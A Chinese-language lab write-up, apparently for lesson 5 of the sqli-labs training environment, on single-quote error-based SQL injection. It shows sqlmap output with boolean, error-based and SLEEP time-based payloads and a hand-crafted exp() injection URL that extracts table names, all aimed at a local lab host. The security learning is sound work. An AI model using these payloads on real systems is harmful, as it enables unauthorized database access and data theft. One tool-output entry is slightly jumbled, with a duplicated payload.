

第五课

技术难点是 单引号+函数报错(有人说这课讲的盲注, 因为不会显, 其实是可以回显的, 盲注后面讲)

首先 sqlmap 梭哈存在 B,E,T 类型的,自己去用 burp 还原每一个注入细节深入原理。其实 sqlmap 的都是基本上盲注。无论怎么样都有个 and 1=1 and 2=2 的格式的。

```
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 224 HTTP(s) requests:
-----
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id='1' AND 3658=3658 AND 'kMng'='kMng

  Type: error-based
  Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
  Payload: id='1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7162707871,(SELECT (ELT(9385=9385,1))))),0x71717a71,0x78))s), 8446744073709551610, 8446744073709551610))
  Title: IDqx
  Payload: id='1' AND (SELECT 1750 FROM (SELECT (SLEEP(5)))wysi) AND 'giLC'='giLC

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id='1' AND (SELECT 1750 FROM (SELECT (SLEEP(5)))wysi) AND 'giLC'='giLC

[19:12:22] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.29, Apache 2.4.18
back-end DBMS: MySQL >= 5.5
[19:12:22] [INFO] fetching current database
[19:12:25] [INFO] retrieved: 'security'
current database: 'security'
[19:12:25] [INFO] fetched data logged to text files under 'C:\Users\Adam\AppData\Local\sqlmap\output\192.168.74.128'
```

手工还原 (还是这个万能 payload)

[http://192.168.74.128/sql_lab/Less-5/?id=1'%20and%20%20exp\(~\(select*from\(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database\(\)\)%20limit%200,1\)x\)\);--+](http://192.168.74.128/sql_lab/Less-5/?id=1'%20and%20%20exp(~(select*from(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database())%20limit%200,1)x));--+)

